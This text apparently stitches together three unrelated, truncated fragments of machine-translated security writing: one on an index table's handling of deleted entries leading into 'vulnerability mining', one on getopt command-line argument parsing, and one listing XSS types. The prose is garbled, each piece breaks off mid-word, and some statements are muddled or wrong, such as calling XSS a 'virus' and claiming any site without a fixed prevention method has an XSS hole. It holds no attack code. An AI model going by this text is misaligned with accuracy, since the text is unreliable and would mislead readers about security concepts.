to put, next to take or from the same place, but if you start to record 1234, you put 2 deleted, the next new time, The code logic lets you know that the location of the original index entry 2 in the Index table is taken to new, so the index table is allowed to be fragmented. Third, vulnerability mining:In this way, the combination of function and Index table mechanism of the principle, the process of data processing ideas are clear, the followi

command line parameters. The argc and argv parameters are the number and content of parameters passed by main. The optstring parameter indicates the option string to be processed. The letter in the option string followed by the colon ":", indicating that there are related parameters. The global variable optarg points to this additional parameter. Next, we will process different parameters. Because only-S is used in the end, we will focus on the analysis of-s parameters.After the-S parameter is

are: storage-type XSS, reflective XSS, Dom-type XSS An XSS vulnerability is one of the most common vulnerabilities in Web applications. If your site does not have a fixed method for preventing XSS vulnerabilities, then there is an XSS vulnerability. The importance of this virus with XSS vulnerabilities is that it is often difficult to see the threat of an XSS vulnerab
